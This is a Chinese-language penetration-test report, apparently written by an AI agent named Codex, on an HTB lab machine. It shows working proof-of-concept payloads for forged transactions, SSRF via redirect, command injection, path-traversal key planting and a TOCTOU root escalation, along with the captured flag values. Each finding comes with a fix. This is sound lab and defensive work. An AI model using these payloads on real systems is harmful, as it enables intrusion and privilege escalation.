授權滲透測試報告

BlockSynergy

完整攻擊流程與作業 SOP

欄位	內容
測試目標	10.129.156.71 (HTB 靶機；HTTP :8080 / SSH :22)
測試時間	2026-10-31（UTC；依目標系統時間）
測試人員	Codex（依委託方明確授權執行）
報告日期	2026-10-31

執行摘要

測試從 8080/tcp 的 BlockSynergy Web 應用開始，透過偽造獎勵交易取得 VIP 功能，利用節點測試流程的 SSRF 與命令注入取得 Walter shell；再利用合約 log 路徑穿越將 SSH 公鑰寫入 Hank 帳戶，最後藉由 root restore daemon 的檢查與解壓競速取得 root。兩個旗標均已讀取並以帳戶權限驗證。

user.txt：2bd06335b7cf320e9413f937a08a39fb
root.txt：f598926f897dbef7a4fc2ee4b55a5b5e

範圍與限制

範圍僅限 10.129.156.71。已掃描 TCP top 1000 ports 並補充確認 22/tcp、8080/tcp；完整 1-65535 TCP 掃描未完成，因此不能排除未掃描到的服務。測試驗證包含帳戶權限提升與旗標讀取；過程中建立過測試錢包、交易、節點、合約與臨時 restore 檔案，請在靶機重置後復原環境。

漏洞發現清單與攻擊鏈

ID	漏洞標題	風險	狀態
VL-001	偽造 Blockchain_Reward 簽章與餘額	● 嚴重 9.8	已驗證
VL-002	SSRF 重新導向繞過內網限制	● 高危 8.1	已驗證
VL-003	節點 ping 參數作業系統命令注入	● 嚴重 9.8	已驗證
VL-004	合約 log_file 路徑穿越任意檔案寫入	● 高危 8.1	已驗證
VL-005	restore checksum 與解壓 TOCTOU 提權	□ 嚴重 8.8	已驗證



攻擊鏈：低權限網路入口 → Walter → Hank → root

影響：讀取 user.txt / root.txt；取得目標主機 root 權限

攻擊面與服務

埠	服務	觀察
22/tcp	OpenSSH 9.6p1 Ubuntu	SSH；測試取得 Walter/Hank 帳戶 shell
8080/tcp	Werkzeug 3.1.3 / Python 3.12.3	BlockSynergy；錢包、VIP 節點與合約功能

證據圖 1 - Nmap 掃描摘錄

```
22/tcp open  ssh  OpenSSH 9.6p1 Ubuntu
8080/tcp open http  Werkzeug 3.1.3 Python 3.12.3
HTTP title: BlockSynergy - Decentralized Future
```

圖示為依原始工具輸出重繪的證據摘錄，非作業系統原生螢幕擷取。

[VL-001] 偽造 Blockchain_Reward 簽章與餘額

屬性	詳情
風險等級	● 嚴重 (Critical)
CVSS 3.1（估算）	9.8
漏洞類型	交易驗證缺陷 / 業務邏輯繞過
受影響 URL / 主機	http://10.129.156.71:8080/broadcast_transaction
參數	sender, receiver, amount, signature

2.1 漏洞描述

伺服器接受可由用戶端控制的 sender、amount 與
signature，未以可信任的私鑰驗證交易完整性。使用者可自建錢包並送出偽造 Blockchain_Reward 交易，取得 VIP 權限，為後續節點管理功能打開入口。

2.2 復現步驟 (Proof of Concept)

1. 建立錢包並取得公鑰。2. 送出以下偽造獎勵交易。3. 重新載入 wallet/dashboard，確認餘額與 VIP 功能。

```
POST /broadcast_transaction HTTP/1.1
Host: 10.129.156.71:8080
Content-Type: application/json

{"sender":"Blockchain_Reward","receiver":"<wallet-public-key>","amount":100,
 "signature":"Blockchain","timestamp":<unix-time>}
```

實際回應為 Added；新增足額交易後 VIP 節點管理可用。

2.3 證據截圖

證據圖 2 - 偽造交易後的成功狀態

```
POST /broadcast_transaction  →  200 OK
response: Added!
wallet balance reached VIP threshold
VIP node management became available
```

2.4 修復建議

拒絕用戶端自稱的 Blockchain_Reward；由伺服器端簽署交易，驗證簽章、公鑰、nonce、餘額與帳本狀態。獎勵發放應由可信任後端流程產生，並加入重放防護。

```
# Secure implementation pattern
verify_signature(tx, trusted_public_key)
assert tx.nonce == account.next_nonce
assert tx.amount <= account.available_balance
append_to_ledger(tx)
```

[VL-002] 節點 SSRF 重新導向繞過內網限制

屬性	詳情
風險等級	• 高危 (High)
CVSS 3.1（估算）	8.1
漏洞類型	SSRF / URL 驗證與重新導向控管不足
受影響 URL / 主機	http://10.129.156.71:8080/dashboard/vip/nodes/test_node/
參數	node URL

2.1 漏洞描述

節點測試功能會向使用者提供的 URL 發送請求，直接封鎖部分內網位址，但 HTTP client 會追蹤外部伺服器回覆的 302。攻擊者可先指向可控外部主機，再將 redirect 導向 127.0.0.1:8080/admin，讀取僅供本機的管理頁面。

2.2 復現步驟 (Proof of Concept)

1. 在授權測試端啟動 HTTP 302 listener，Location 指向 http://127.0.0.1:8080 並保留路徑。2. 將節點 URL 設為外部 listener。3. 呼叫 test_node/，確認回應包含 Admin Dashboard。

```
# Node URL example
http://<tester-vpn-ip>:7777/admin/nodes/manage
Location: http://127.0.0.1:8080/admin/nodes/manage
```

2.3 證據截圖

證據圖 3 - Redirect SSRF 回應

```
node URL: http://<tester-ip>:7777/admin/nodes/manage
302 Location: http://127.0.0.1:8080/admin/nodes/manage
test_node response: Admin Dashboard
```

2.4 修復建議

對 URL 進行嚴格解析、DNS/IP 解析及每次 redirect 後重新驗證；拒絕 loopback、link-local、RFC1918 與 IPv6 私有位址。建議停用 redirect，或限制目標至固定 allowlist，並以獨立網路命名空間執行。

```
# Secure implementation pattern
resp = http_get(url, allow_redirects=False, timeout=3)
if resp.is_redirect: reject()
ip = resolve_and_validate(url.host)
if not is_public_routable(ip): reject()
```

[VL-003] 節點 ping 參數作業系統命令注入

屬性	詳情
風險等級	● 嚴重 (Critical)
CVSS 3.1（估算）	9.8
漏洞類型	OS Command Injection
受影響 URL / 主機	http://127.0.0.1:8080/admin/nodes/manage?action=ping_node
參數	target

2.1 漏洞描述

管理端將 target 值拼入系統命令並交給 shell 執行。透過已驗證的 SSRF 路徑可呼叫管理功能，再以 shell substitution 執行任意命令，取得 Walter 低權限 reverse shell。

2.2 復現步驟 (Proof of Concept)

先以無害延遲確認注入，再在隔離的授權測試環境送出回連命令。已觀察到 `sleep 3` 延遲約 4 秒，並取得 uid=1000(walter)。以下僅示意注入形狀；回連位址及 listener 應替換成測試端資訊。

```
# URL-encoded target payload
$(sleep${IFS}3)
GET /dashboard/vip/nodes/test_node/<id>
→ /admin/nodes/manage?action=ping_node&target=<payload>
```

2.3 證據截圖

證據圖 4 - Walter shell 身分

```
uid=1000(walter) gid=1000(walter)
interactive shell returned through node test route
SSH foothold confirmed; user.txt read as walter
```

2.4 修復建議

避免 shell 字串拼接，改用固定程式與參數陣列執行 subprocess；對 IP 地址做標準解析與 allowlist 驗證。服務管理功能應需要獨立強認證，並以低權限帳戶執行。

```
# Python safe pattern
subprocess.run(["/bin/ping", "-c", "1", validated_ip],
               shell=False, check=True, timeout=3)
```

[VL-004] 合約 log_file 路徑穿越任意檔案寫入

屬性	詳情
風險等級	● 高危 (High)
CVSS 3.1（估算）	8.1
漏洞類型	Path Traversal / 任意檔案寫入
受影響 URL / 主機	http://127.0.0.1:5000/dashboard
參數	contract_file: __meta__.log_file, log_content

2.1 漏洞描述

合約上傳與 claim 流程允許合約 metadata 指定 log_file，後端未將路徑限制在預期日誌目錄。Walter 可使用 `../../../../home/hank/.ssh/authorized_keys` 將自己的 SSH 公鑰寫入 Hank 帳戶，取得 hank (uid=1001, developers 群組) shell。

2.2 復現步驟 (Proof of Concept)

1. 建立測試用 SSH key。2. 準備包含 log_file 路徑穿越與 log_content 的 JSON 合約。3. 上傳並呼叫 contract_claim。4. 以該 key SSH 登入 Hank。

```
{"name":"debug","owner":"Developer","debug":"True",
 "hooks":{"on_claim":"log"},
 "__meta__":{"log_file":"../../../../home/hank/.ssh/authorized_keys"},
 "log_content":{"on_claim":"<authorized-test-public-key>"}}
```

2.3 證據截圖

證據圖 5 - Hank shell 權限

```
uid=1001(hank) gid=1003(hank)
groups=hank,developers
SSH key accepted after contract claim
```

2.4 修復建議

忽略用戶端提供的絕對或相對路徑，伺服器自行建立固定日誌檔名。寫入前以 canonical path 檢查仍位於日誌目錄，使用安全的檔案 API 與最小權限。

```
base = Path("/var/log/contracts").resolve()
candidate = (base / generated_name).resolve()
if candidate.parent != base: raise ValueError("invalid path")
candidate.open("a", encoding="utf-8")
```

[VL-005] restore checksum 與解壓 TOCTOU 提權

屬性	詳情
風險等級	● 嚴重 (Critical)
CVSS 3.1（估算）	8.8
漏洞類型	TOCTOU race / SUID 提權
受影響 URL / 主機	/opt/backup/restore_daemon.sh → /var/restore_work/_opt_staging.tar.gz
參數	archive path between checksum and tar extraction

2.1 漏洞描述

Hank 屬於 developers 群組；/var/restore_work 為 root:developers 且具 sticky bit，允許群組成員建立並替換自己擁有的檔案。root restore daemon 先驗證 archive checksum，稍後再以 tar 解壓同一路徑，中間存在 TOCTOU。Hank 先放入合法封存檔與惡意替換檔，使用 inotify 觀察 archive read/close，再原子替換檔案；daemon 以 root 解出 SUID bash。

2.2 復現步驟 (Proof of Concept)

1. 觀察 restore/backup 時序與目錄權限。2. 從目標 FTP 取得有效 `_opt_staging.tar.gz`，放入受監控路徑。3. 準備含 `/opt/staging/rootshell` 的替換 tar，metadata 設為 root:root、4755。4. 使用 inotify 等待 checksum 讀取關閉後原子 rename。5. 觸發 restore，透過 `rootshell -p` 取得 euid=0。

```
# Final verification
/opt/staging/rootshell -p -c "id; cat /root/root.txt"
uid=1001(hank) ... euid=0(root)
root.txt: f598926f897dbef7a4fc2ee4b55a5b5e
```

2.3 證據截圖

證據圖 6 - root restore race 成功

```
Checksum verified. Restoring /opt/staging...
archive swapped after read/close
uid=1001(hank) ... euid=0(root)
root.txt read successfully
```

初次競速放入錯誤架構的本機 bash，未能執行；改用靶機 Linux bash 後成功。另有兩次 checksum mismatch，最終只以 euid=0 與旗標讀取作為成功證據。

2.4 修復建議

restore daemon 應在受 root 控制且不可由一般使用者寫入的目錄操作。以同一個已開啟檔案描述符完成 checksum 與解壓，或先複製到 root
私有的暫存檔，再驗證後解壓。加上不可變簽章、鎖定與原子替換保護；不要讓群組寫入目錄成為 root 解壓來源。

端到端 SOP 與修補優先序

操作順序

步驟	目的	驗證點
1. 服務探索	識別 HTTP 與 SSH 攻擊面	Nmap 顯示 22/tcp、8080/tcp
2. Web 探索	建立錢包，檢查交易及 VIP 功能	偽造 reward 被接受
3. SSRF 驗證	測試 node test 對外 URL 與 redirect	取得 loopback admin HTML
4. Walter foothold	以無害延遲驗證注入，再建立 shell	uid=1000(walter)
5. Hank 提權	上傳測試合約並測試 log 路徑邊界	以 SSH key 登入 hank
6. root 提權	檢查 restore 目錄權限、daemon 與時序	SUID bash；euid=0
7. 旗標驗證	以授權身分讀旗標檔	user.txt、root.txt 值已記錄

修補優先序

優先	措施
P0	修正 root restore TOCTOU；restore 暫存來源改為 root-only；停用使用者可寫之 restore 目錄。
P0	移除 shell 拼接，subprocess 使用 shell=False；限制管理操作權限。
P1	伺服器端驗證交易簽章與帳本狀態，禁止偽造獎勵。
P1	封鎖 SSRF redirect 與內網目標；採用固定目的地 allowlist。
P1	合約日誌路徑改由伺服器生成並限制於固定目錄。
P2	輪替測試期間暴露的服務憑證；避免密碼出現在程序參數與命令列。
P2	增加安全事件記錄、告警與回歸測試，測試後重置靶機。

測試期間的變更與清理

本次測試曾新增測試錢包、偽造 reward 交易、節點註冊資料、合約檔及 restore 暫存內容，也建立了測試 SSH key 授權與 SUID rootshell。靶機若非一次性環境，請在重置後確認移除測試公鑰、錢包/節點/合約記錄與 `/opt/staging/rootshell`。FTP 憑證出現在備份流程程序參數中；本報告不重複列出密碼，建議輪替。

附錄

3.1 風險等級定義

CVSS v3.1	等級	圖示
9.0–10.0	嚴重 (Critical)	●
7.0–8.9	高危 (High)	●
4.0–6.9	中危 (Medium)	●
0.1–3.9	低危 (Low)	●
0.0	資訊 (Info)	●

3.2 CVSS 評分說明

分數為根據本次觀察的攻擊前置條件、權限需求與影響所作估算，採 CVSS v3.1。若系統部署方式、網路邊界或前置權限不同，分數需由系統擁有者重新評估。各分數用於排序修補優先度。

3.3 洩露憑證列表

測試期間透過 root 備份程序命令列觀察到 FTP 帳戶資訊。為降低憑證再暴露，本報告不記錄明文密碼；請立即輪替 FTP 密碼並改用 secret store/權限受限的設定檔，避免在 process argv 出現。測試 SSH key 僅為臨時測試資料，請清理 authorized_keys。

3.4 測試工具參考

工具/元件	用途
Nmap 7.99	TCP 服務探索與版本識別
curl / Python HTTP server	Web 請求、redirect listener 與應用驗證
OpenSSH client	Walter/Hank SSH 存取驗證
inotify / Python ctypes	觀察 restore archive 讀取與 close 時序
tar / base64 / Bash	靶機授權 PoC 與提權驗證

3.5 詞彙表

詞彙	說明
SSRF	伺服器端請求偽造，誘使伺服器連線到攻擊者指定目的地
命令注入	未妥善處理輸入導致 shell 執行攻擊者命令
路徑穿越	以 ../ 等路徑跳出預期目錄邊界
TOCTOU	檢查與使用之間的狀態競速，攻擊者可在兩步驟間替換資源
SUID	執行檔以檔案擁有者權限執行的 Unix 權限位元

3.6 參考文件

OWASP Web Security Testing Guide；OWASP SSRF Prevention Cheat Sheet；MITRE CWE-78 (OS Command Injection)、CWE-22 (Path Traversal)、CWE-367 (TOCTOU Race Condition)；FIRST CVSS v3.1 Specification。

報告簽署：測試人員：Codex（依委託方明確授權） 日期：2026-10-31

免責聲明：本報告記錄指定靶機與時間範圍內的授權測試結果，不代表未測試範圍不存在其他弱點。證據內容僅提供予獲授權的系統擁有者。